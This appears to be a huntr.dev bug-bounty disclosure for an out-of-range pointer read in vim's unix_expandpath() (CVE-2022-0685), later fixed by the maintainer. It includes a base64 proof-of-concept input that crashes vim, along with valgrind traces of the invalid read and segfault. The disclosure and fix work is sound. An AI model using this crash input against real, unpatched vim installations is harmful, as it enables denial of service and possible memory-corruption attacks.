huntr

Use of Out-of-range Pointer Offset in vim/vim

0

✓ Valid Reported on Feb 19th 2022

Description

Using out-of-range Pointer Offset occurs in unix_expandpath().
commit : e89bfd212b21c227f026e467f882c62cdd6e642d

Proof of Concept

```
$ echo -ne "c2UgbWwgd2ljCnRj+42NjaYq" | base64 -d > poc

# valgrind
$ ~/valgrind/vg-in-place -s ~/vim-debug/src/vim.debug -u NONE -i NONE -n -
==1432983== Memcheck, a memory error detector
==1432983== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==1432983== Using Valgrind-3.19.0.GIT and LibVEX; rerun with -h for copyrig
==1432983== Command: /home/alkyne/vim-debug/src/vim.debug -u NONE -i NONE -
==1432983==
==1432983== Invalid read of size 2
==1432983==    at 0x1F3D40: unix_expandpath (filepath.c:3629)
==1432983==    by 0x2972D3: mch_expandpath (os_unix.c:6526)
==1432983==    by 0x1F4976: gen_expand_wildcards (filepath.c:3971)
==1432983==    by 0x1F3596: expand_wildcards (filepath.c:3122)
==1432983==    by 0x1F3520: expand_wildcards_eval (filepath.c:3093)
==1432983==    by 0x166945: expand_files_and_dirs (cmdexpand.c:2255)
==1432983==    by 0x166C1D: ExpandFromContext (cmdexpand.c:2446)
==1432983==    by 0x1637A9: ExpandOne_start (cmdexpand.c:430)
==1432983==    by 0x163CCA: ExpandOne (cmdexpand.c:624)
==1432983==    by 0x1D05F7: expand_filename (ex_docmd.c:4984)
==1432983==    by 0x1CB10B: do_one_cmd (ex_docmd.c:2507)
==1432983==    by 0x1C84D6: do_cmdline (ex_docmd.c:993)
==1432983==  Address 0xba37938 is not stack'd, malloc'd or
==1432983==
==1432983==
==1432983== Process terminating with default action of signal 11 (SIGSEGV):
==1432983==    at 0x4A5055B: kill (syscall-template.S:78)

==1432983==    by 0x293982: may_core_dump (os_unix.c:3508)
==1432983==    by 0x293936: mch_exit (os_unix.c:3474)
==1432983==    by 0x411D66: getout (main.c:1719)
==1432983==    by 0x25691C: preserve_exit (misc1.c:2194)
==1432983==    by 0x291D57: deathtrap (os_unix.c:1154)
==1432983==    by 0x4A5020F: ??? (in /usr/lib/x86_64-linux-gnu/libc-2.31.sc
==1432983==    by 0x1F3D3F: unix_expandpath (filepath.c:3629)
==1432983==    by 0x2972D3: mch_expandpath (os_unix.c:6526)
==1432983==    by 0x1F4976: gen_expand_wildcards (filepath.c:3971)
==1432983==    by 0x1F3596: expand_wildcards (filepath.c:3122)
==1432983==    by 0x1F3520: expand_wildcards_eval (filepath.c:3093)
==1432983==
==1432983== HEAP SUMMARY:
==1432983==     in use at exit: 100,893 bytes in 474 blocks
==1432983==   total heap usage: 1,031 allocs, 557 frees, 213,517 bytes allc
==1432983==
==1432983== LEAK SUMMARY:
==1432983==    definitely lost: 1,232 bytes in 1 blocks
==1432983==    indirectly lost: 0 bytes in 0 blocks
==1432983==      possibly lost: 0 bytes in 0 blocks
==1432983==    still reachable: 99,661 bytes in 473 blocks
==1432983==         suppressed: 0 bytes in 0 blocks
==1432983== Rerun with --leak-check=full to see details of leaked memory
==1432983==
==1432983== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
==1432983==
==1432983== 1 errors in context 1 of 1:
==1432983== Invalid read of size 2
==1432983==    at 0x1F3D40: unix_expandpath (filepath.c:3629)
==1432983==    by 0x2972D3: mch_expandpath (os_unix.c:6526)
==1432983==    by 0x1F4976: gen_expand_wildcards (filepath.c:3971)
==1432983==    by 0x1F3596: expand_wildcards (filepath.c:3122)
==1432983==    by 0x1F3520: expand_wildcards_eval (filepath.c:3093)
==1432983==    by 0x166945: expand_files_and_dirs (cmdexpand.c:2255)
==1432983==    by 0x166C1D: ExpandFromContext (cmdexpand.c:2446)
==1432983==    by 0x1637A9: ExpandOne_start (cmdexpand.c:43
==1432983==    by 0x163CCA: ExpandOne (cmdexpand.c:624)
```

```
==1432983==    by 0x1D05F7: expand_filename (ex_docmd.c:4984)
==1432983==    by 0x1CB10B: do_one_cmd (ex_docmd.c:2507)
==1432983==    by 0x1C84D6: do_cmdline (ex_docmd.c:993)

==1432983==  Address 0xba37938 is not stack'd, malloc'd or (recently) free'
==1432983==
==1432983== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
Segmentation fault
```

Occurrences

C filepath.c L3629

CVE
CVE-2022-0685
(Published)

Vulnerability Type
CWE-823: Use of Out-of-range Pointer Offset

Severity
High (8.4)

Visibility
Public

Status
Fixed

Found by

alkyne Choi
@alkyne
unranked

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 1,819 times.

We are processing your report and will contact the **vim** team within 24 hours. 9 months ago

Bram Moolenaar validated this vulnerability 9 months ago

alkyne Choi has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Bram Moolenaar 9 months ago Maintainer

Fixed by patch 8.2.4418

Bram Moolenaar marked this as fixed in **8.2** with commit **5921ae** 9 months ago

Bram Moolenaar has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

filepath.c#L3629 has been validated ✓

Sign in to join this conversation

Chat with us